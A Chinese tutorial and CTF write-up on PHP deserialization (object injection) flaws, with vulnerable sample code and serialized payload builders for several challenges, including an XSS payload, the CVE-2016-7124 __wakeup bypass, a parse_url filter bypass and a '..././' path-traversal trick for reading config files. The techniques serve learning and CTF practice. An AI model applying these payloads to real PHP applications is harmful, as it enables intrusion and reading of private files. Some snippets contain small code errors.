- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- PHP中怎么反序列化漏洞
PHP中怎么反序列化漏洞,針對這個(gè)問(wèn)題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個(gè)問(wèn)題的小伙伴找到更簡(jiǎn)單易行的方法。
起初也是很不理解為什么要費勁周章的去序列化然后反序列化回來(lái),還多了一步操作,看了各種文章,舉了各種栗子,無(wú)非都是想告訴我們: 序列化的目的是方便數據的傳輸和存儲
再附上網(wǎng)上看到的一段話(huà)
PHP 文件在執行結束以后就會(huì )將對象銷(xiāo)毀,那么如果下次有一個(gè)頁(yè)面恰好要用到剛剛銷(xiāo)毀的對象就會(huì )束手無(wú)策,總不能你永遠不讓它銷(xiāo)毀,等著(zhù)你吧,于是人們就想出了一種能長(cháng)久保存對象的方法,這就是 PHP 的序列化,那當我們下次要用的時(shí)候只要反序列化一下就 ok 啦
序列化
關(guān)鍵函數 serialize()
:將PHP中創(chuàng )建的對象,變成一個(gè)字符串
<?php class test{ public $name = 'P2hm1n'; private $sex = 'secret'; protected $age = '20'; } $test1 = new test(); $object = serialize($test1); print_r($object); ?>
經(jīng)過(guò)查閱資料我們發(fā)現
private屬性序列化的時(shí)候格式是 %00類(lèi)名%00成員名
protected屬性序列化的時(shí)候格式是 %00*%00成員名
關(guān)鍵函數 unserialize()
:將經(jīng)過(guò)序列化的字符串轉換回PHP值
<?php $object = '經(jīng)過(guò)序列化的字符串'; $test = unserialize($object1); print_r($test3); ?>
注意:當有 protected 和 private 屬性的時(shí)候記得補齊空的字符串
PHP反序列化漏洞又稱(chēng)PHP對象注入,是因為程序對輸入數據處理不當導致的
需要具備反序列化漏洞的前提:
必須有 unserailize() 函數
unserailize() 函數的參數必須可控(為了成功達到控制你輸入的參數所實(shí)現的功能,可能需要繞過(guò)一些魔法函數
下面寫(xiě)一個(gè)小栗子
<?php class test{ public $target = 'this is a test'; function __destruct(){ echo $this->target; } } $a = $_GET['b']; $c = unserialize($a); ?>
上面的栗子就具備了利用反序列化漏洞的前提,因為存在 echo
的原因,我們還可以直接利用xss
<?php class test{ public $target = '<script>alert(/xss/);</script>'; } $a = new test(); $a = serialize($a); echo $a; ?>
D0g3平臺
一道實(shí)驗室師傅們出的題:
http://120.79.33.253:9001/
題目直接給了源碼
<?php error_reporting(0); include "flag.php"; $KEY = "D0g3!!!"; $str = $_GET['str']; if (unserialize($str) === "$KEY") { echo "$flag"; } show_source(__FILE__);
我們可以看到判斷條件 unserialize($str) === "$KEY"
就會(huì )輸出flag,且具備了反序列化漏洞的一條:有 unserialize()
函數,那么尋找str參數是否可控,向上尋找發(fā)現 $str = $_GET['str'];
,通過(guò) GET 型傳參,參數可控。這里也就具備了反序列化的兩個(gè)條件,所以我們直接構造
<?php $KEY = "D0g3!!!"; echo serialize($KEY) ?>
Bugku-welcome to the bugkuctf
在經(jīng)歷了前面的php偽協(xié)議的考點(diǎn)之后,經(jīng)過(guò)base64解碼拿到了兩個(gè)源碼
index.php
<?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能現在就給你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?>
hint.php
<?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("good"); } } } ?>
觀(guān)察到危險函數 unserialize()
,跟進(jìn)一下 hint.php 里有有一個(gè) file_get_contents()
函數,可以讀取到文件,那么我們只需要觀(guān)察file是否可控便可輕松解題
因此我們只需要控制 $this->file
就能讀到我們想要的文件
<?php class Flag{//flag.php public $file = 'flag.php'; } $a = new Flag(); $a = serialize($a); echo $a; ?>
當然這道題不只考了反序列化,還需要一些其他操作才能拿到flag
上面的簡(jiǎn)單栗子都是直接可以通過(guò)序列化生成相應的payload然后再反序列化之后實(shí)現功能,但是通常不會(huì )這么簡(jiǎn)單的就讓你利用成功,所以需要掌握下面的一些東西
在繞過(guò)魔術(shù)方法之前我們需要了解一些魔術(shù)方法的運行機制————PHP之十六個(gè)魔術(shù)方法詳解
需要了解一下相對于來(lái)說(shuō)重要函數的運行先后順序
<?php class test{ public $name = 'P2hm1n'; function __construct(){ echo "__construct()"; echo "<br><br>"; } function __destruct(){ echo "__destruct()"; echo "<br><br>"; } function __wakeup(){ echo "__wakeup()"; echo "<br><br>"; } function __toString(){ return "__toString()"."<br><br>"; } function __sleep(){ echo "__sleep()"; echo "<br><br>"; return array("name"); } } $test1 = new test(); $test2 = serialize($test1); $test3 = unserialize($test2); print($test3); ?>
可以繞過(guò)的__weakup()
實(shí)際上是一個(gè)CVE漏洞,CVE-2016-7124。當成員屬性數目大于實(shí)際數目時(shí)會(huì )跳過(guò)__wakeup的執行。
網(wǎng)上已經(jīng)有很多講解了...比如網(wǎng)上的一篇文章 https://blog.csdn.net/qq_19876131/article/details/52890854 就寫(xiě)的比較清楚,我們只需要知道成員數目大于實(shí)際數目這個(gè)利用的點(diǎn)就行了
PHP偽協(xié)議+base64解碼得到兩個(gè)文件
index.php
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> <html>
hint.php
<?php class Handle{ private $handle; //__destruct中被調用從而調用getFlag() public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { //循環(huán)打印,賦值為空 $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); //調用 Flag 類(lèi)里面的getFlag方法 } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); //一到一萬(wàn)產(chǎn)生的隨機數經(jīng)過(guò)md5加密 } public function getFlag(){ //被handle調用 $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) //兩者必須相等 { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } $echof = new Flag(); $Flag->file = "flag.php"; $echoflag = new Handle($echof); echo serialize($echoflag); ?>
在粗略的看了一下兩個(gè)文件之后,可能會(huì )有點(diǎn)亂(當時(shí)的我頭腦是很亂的),但是我們只需要明確我們打CTF的目的就是拿到flag...
梳理一下思路如下
index.php文件干了什么事?
GET型傳入兩個(gè)參數 (那么傳入的兩個(gè)參數一定是有用的,通常出題人不會(huì )閑得蛋疼多設置幾個(gè)沒(méi)用的參數
file不能包含flag關(guān)鍵字
如果設置了payload的話(huà),url被切割,且循環(huán)遍歷匹配flag關(guān)鍵字,匹配到了就退出
payload被unserialize()了~payload被unserialize()了~payload被unserialize()了~
hint.php文件干了什么事?
既然都叫hint.php了那么hint.php一定大有作為...
縱觀(guān) hint.php 包含兩個(gè)類(lèi)
其中的一個(gè)類(lèi)叫 Flag,甚至類(lèi)里有個(gè)方法叫g(shù)etFlag(),所以我們明確我們的目標就是它
打CTF一定要知道自己在干什么,所以先不管其他的,我們只談反序列化,然后構造payload這個(gè)參數
所以在拋棄一切前提下,我們甚至可以構造payload出來(lái)
<?php //假裝有兩個(gè)class class{ } class{ } $echof = new Flag(); $Flag->file = "flag.php"; $echoflag = new Handle($echof); echo serialize($echoflag); ?>
現在的我們已經(jīng)能夠輸出flag了,我們看一下還存在哪些障礙?
輸出flag的前提
echo @highlight_file($this->file,true);
前有一個(gè)判斷:$this->token === $this->token_flag
而 $this->token
的值是不會(huì )變的,但是 $this->token_flag
卻會(huì )改變
這里有兩種思路,其一是爆破,其二是用引用變量來(lái)解決這個(gè)問(wèn)題 $Flag->token = &$Flag->token_flag;
__wakeup()每次打印為空?
重點(diǎn)到了,利用本文前面的CVE-2016-7124。當成員屬性數目大于實(shí)際數目時(shí)會(huì )跳過(guò)__wakeup的執行。這樣能讓 Handle類(lèi)成功調用 Flag類(lèi)中的方法
我們的關(guān)鍵詞不能有flag?
經(jīng)過(guò)反序列化也罷,我們的關(guān)鍵詞始終會(huì )含有flag詞語(yǔ),會(huì )被正則匹配到...
這里可以使用parse_url的解析漏洞,具體的可以看看 一葉飄零師傅的文章 和 另一位師傅的文章
大概是parse_url() 是專(zhuān)門(mén)用來(lái)解析 URL 而不是 URI 的。不過(guò)為遵從 PHP 向后兼容的需要有個(gè)例外,對 file:// 協(xié)議允許三個(gè)斜線(xiàn)(file:///…)。其它任何協(xié)議都不能這樣。
所以使用三個(gè)斜線(xiàn)的話(huà)就不會(huì )被檢測到關(guān)鍵詞
其實(shí)其他考點(diǎn)都是可以繞過(guò)的,最主要的反序列化思想的核心,我認為經(jīng)過(guò)反序列化,有了可以控制的參數之后,就一定要完成某部分的功能,不是為了反序列化而反序列化
題目地址:http://117.51.158.44/index.php
經(jīng)過(guò)信息泄露,抓包等會(huì )拿到兩個(gè)源碼...
文件1:Application.php
代碼太長(cháng)了,簡(jiǎn)化一下有用的功能如下:
Class Application { var $path = ''; private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } }
文件一大概是對 $path
變量做了一些處理;如:前后去空,并且移除了 ../
和 ..\
如果長(cháng)度小于18的話(huà)能夠讀取 $path
變量的文件的內容,能夠讀取 $path
變量的文件的內容,能夠讀取 $path
變量的文件的內容
因此我們構造初步的payload (其實(shí)結合了一些文件2的信息才能構造路徑)為:../config/flag.txt
,但是此時(shí)需要繞過(guò)文件一中的一個(gè) str_replace()
函數,且長(cháng)度要小于18,故而再次構造為 ..././config/flag.txt
(需要注意的是此刻的長(cháng)度雖然是21,但是經(jīng)過(guò)一次前面的 str_replace()
替換 ../
為空之后,長(cháng)度就剛好為18
文件2:app/Session.php
//url:app/Session.php include 'Application.php'; //包含文件一 class Session extends Application { //key建議為8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { //通過(guò)parent::調用父類(lèi)方法 $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); //flag可能也在這個(gè)文件夾里面 } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); //通過(guò)parent::調用父類(lèi)方法 return FALSE; } $session = unserialize($session); //反序列化 if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; } if(!empty($_POST["nickname"])) { //POST的不為空 $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { //打印變量 $data = sprintf($data,$v); //輸出 } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); //序列化 $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index(); ?>
我們回顧一下反序列化執行的方法:
必須有 unserailize() 函數,
unserailize() 函數的參數必須可控
首先映入眼簾的是文件二中第55行的 $session = unserialize($session);
這一步執行了危險函數 unserialize()
文件一被包含進(jìn)文件二,因此可以利用文件一中 __destruct()
來(lái)執行文件讀取的功能。
結合有用的信息,就是通過(guò) session 的反序列化來(lái)控制 $path
變量進(jìn)而得到 flag,第34行的注釋//eancrykey and flag under the folder
提供了相應的位置
因此我們通過(guò)控制 $path
變量可以獲取到flag,控制 $path
需要通過(guò)反序列化。
但是這道題還有其他的考點(diǎn),因為需要偽造一個(gè)cookie才能拿到相應的 key 才能進(jìn)行反序列化。
因為單談反序列化,所以我們簡(jiǎn)化一下本題。構造最終payload為
<?php Class Application { var $path = '..././config/flag.txt'; } $a = new Application(); $a = serialize($a); print_r($a); ?>
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站